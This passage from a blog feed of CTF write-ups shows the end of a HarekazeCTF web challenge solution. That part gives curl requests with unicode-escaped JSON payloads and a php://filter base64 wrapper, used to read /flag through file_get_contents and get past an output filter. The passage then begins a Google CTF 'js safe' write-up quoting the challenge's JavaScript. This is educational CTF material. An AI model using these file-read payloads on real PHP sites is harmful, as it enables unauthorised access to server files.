class=\"p\"\u003e|\u003c/span\u003e uni2ascii -qpa L\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"se\"\u003e\\u\u003c/span\u003e002F\u003cspan class=\"se\"\u003e\\u\u003c/span\u003e0066\u003cspan class=\"se\"\u003e\\u\u003c/span\u003e006C\u003cspan class=\"se\"\u003e\\u\u003c/span\u003e0061\u003cspan class=\"se\"\u003e\\u\u003c/span\u003e\u003cspan class=\"m\"\u003e0067\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eArmed with our obfuscated payload, all that's left to do is \u003ccode\u003ePOST\u003c/code\u003e off the request to read \u003ccode\u003e/flag\u003c/code\u003e, and we should be done.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ curl -X POST \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    -d \u003cspan class=\"s2\"\u003e\u0026#34;{\\\u0026#34;page\\\u0026#34;:\\\u0026#34;\\u002F\\u0066\\u006C\\u0061\\u0067\\\u0026#34;}\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    -H \u003cspan class=\"s1\"\u003e\u0026#39;Content-Type: application/json\u0026#39;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$HOST\u003c/span\u003e/query.php\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;content\u0026#34;\u003c/span\u003e:\u003cspan class=\"s2\"\u003e\u0026#34;HarekazeCTF{\u0026amp;lt;censored\u0026amp;gt;}\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOh, wait, there's that part of the code that filters the content on the way out.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// no data exfiltration!!!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$content\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_replace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;/HarekazeCTF\\{.+\\}/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;HarekazeCTF{\u0026amp;lt;censored\u0026amp;gt;}\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$content\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAs mentioned earlier, where there's untrusted user input to \u003ccode\u003efile_get_contents\u003c/code\u003e, there's room for PHP to add a stream wrapper that can do crazy things that happen to help us in unexpected ways.\u003c/p\u003e\n\u003cp\u003eA little bit of research revealed that \u003ca href=\"https://www.php.net/manual/en/wrappers.php.php\" rel=\"noreferrer nofollow noopener\"\u003ethere is a wrapper\u003c/a\u003e called \u003ccode\u003ephp://filter\u003c/code\u003e that can not only read files, but also convert them to base64 strings!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ccode\u003ephp://filter\u003c/code\u003e is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as \u003ccode\u003ereadfile()\u003c/code\u003e, \u003ccode\u003efile()\u003c/code\u003e, and \u003ccode\u003efile_get_contents()\u003c/code\u003e where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eUseful.\u003c/p\u003e\n\u003cp\u003eSo, the final payload becomes...\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ephp://filter/convert.base64-encode/resource=/flag\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhen this is directly passed to \u003ccode\u003efile_get_contents\u003c/code\u003e, PHP will read \u003ccode\u003e/flag\u003c/code\u003e and convert it to a base64 encoded string thus bypassing the final layer of protection.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ curl -X POST \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     -d \u003cspan class=\"s2\"\u003e\u0026#34;{\\\u0026#34;page\\\u0026#34;:\\\u0026#34;\\u0070\\u0068\\u0070\\u003A\\u002F\\u002F\\u0066\\u0069\\u006C\\u0074\\u0065\\u0072\\u002F\\u0063\\u006F\\u006E\\u0076\\u0065\\u0072\\u0074\\u002E\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002D\\u0065\\u006E\\u0063\\u006F\\u0064\\u0065\\u002F\\u0072\\u0065\\u0073\\u006F\\u0075\\u0072\\u0063\\u0065\\u003D\\u002F\\u0066\\u006C\\u0061\\u0067\\\u0026#34;}\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     -H \u003cspan class=\"s1\"\u003e\u0026#39;Content-Type: application/json\u0026#39;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e     \u003cspan class=\"nv\"\u003e$DOMAIN\u003c/span\u003e/query.php\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;content\u0026#34;\u003c/span\u003e:\u003cspan class=\"s2\"\u003e\u0026#34;SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg==\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe response is base64 encoded.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg==\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e base64 -d\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHarekazeCTF\u003cspan class=\"o\"\u003e{\u003c/span\u003eturutara_tattatta_ritta\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e",
      "date_published": "2019-05-19T00:00:00Z"
    },
    {
      "id": "mn3VnabVNkwhC3Vv4JgFYQ",
      "url": "https://textplain.org/js-safe",
      "title": "google ctf – js safe 1",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from Google \u003cabbr title=\"Capture The Flag\"\u003eCTF\u003c/abbr\u003e 2018.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWell it's definitely the 90s. Using what was found in the mysterious .ico file, you extract the driver for the Aluminum-Key Hardware password storage device. Let's see what it has in store.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe file, \u003ca href=\"/js-safe/js_safe_1.html\" rel=\"noreferrer nofollow noopener\"\u003ejs_safe_1.html\u003c/a\u003e is a JavaScript virtual safe.\u003c/p\u003e\n\u003cp\u003eThe \u003cabbr title=\"HyperText Markup Language\"\u003eHTML\u003c/abbr\u003e comment in the header of the file explains more.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e\u0026lt;!--\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eAdvertisement:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eLooking for a hand-crafted, browser based virtual safe to store your most\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003einteresting secrets? Look no further, you have found it. You can order your own\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003eby sending a mail to js_safe@example.com. When ordering, please specify the\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003epassword you\u0026#39;d like to use to open and close the safe and the content you\u0026#39;d\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003elike to store. We\u0026#39;ll hand craft a unique safe just for you, that only works\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003ewith your password of choice and contains your secret. (We promise we won\u0026#39;t\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003epeek when handling your data.)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe HTML file also contains some JavaScript.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ealg\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;AES-CBC\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eiv\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eUint8Array\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"mi\"\u003e211\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e42\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e178\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e197\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e55\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e212\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e108\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e85\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e255\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e21\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e132\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e210\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e209\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e137\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e37\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e24\u003c/span\u003e\u003cspan class=\"p\"\u003e])};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003esecret\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eUint8Array\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efrom\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"mi\"\u003e26\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e151\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e171\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e117\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e143\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e168\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e228\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e24\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e197\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e212\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e192\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e242\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e175\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e113\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e59\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e102\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e57\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e172\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e50\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e64\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e201\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e73\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e39\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e92\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e64\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e172\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e223\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e46\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e189\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e65\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e223\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e34\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e96\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e132\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e53\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e63\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e227\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e157\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e37\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e126\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e106\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003easync\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen_safe\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003ekeyhole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisabled\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003epassword\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e/^CTF{([0-9a-zA-Z_@!?-]+)}$/\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekeyhole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003epassword\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])))\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebody\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eclassName\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;denied\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebody\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eclassName\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;granted\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003epwHash\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003ecrypto\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esubtle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edigest\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;SHA-256\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eTextEncoder\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"nx\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003ecrypto\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esubtle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eimportKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;raw\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003epwHash\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ealg\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;decrypt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eTextDecoder\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003ecrypto\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esubtle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edecrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ealg\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003esecret\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe \u003ccode\u003eopen_safe\u003c/code\u003e function is called when the password is entered. If it matches the format \u003ccode\u003eCTF{...}\u003c/code\u003e, it's passed on to the \u003ccode\u003ex\u003c/code\u003e function for validation.\u003c/p\u003e\n\u003cp\u003eIf it's valid, decrypt an \u003cabbr title=\"Advanced Encryption Standard\"\u003eAES\u003c/abbr\u003e-\u003cabbr title=\"Cipher Block Chaining\"\u003eCBC\u003c/abbr\u003e-encrypted secret using the supplied password and display it to the user.\u003c/p\u003e\n\u003cp\u003eMakes you wonder why you wouldn't just try to decrypt the 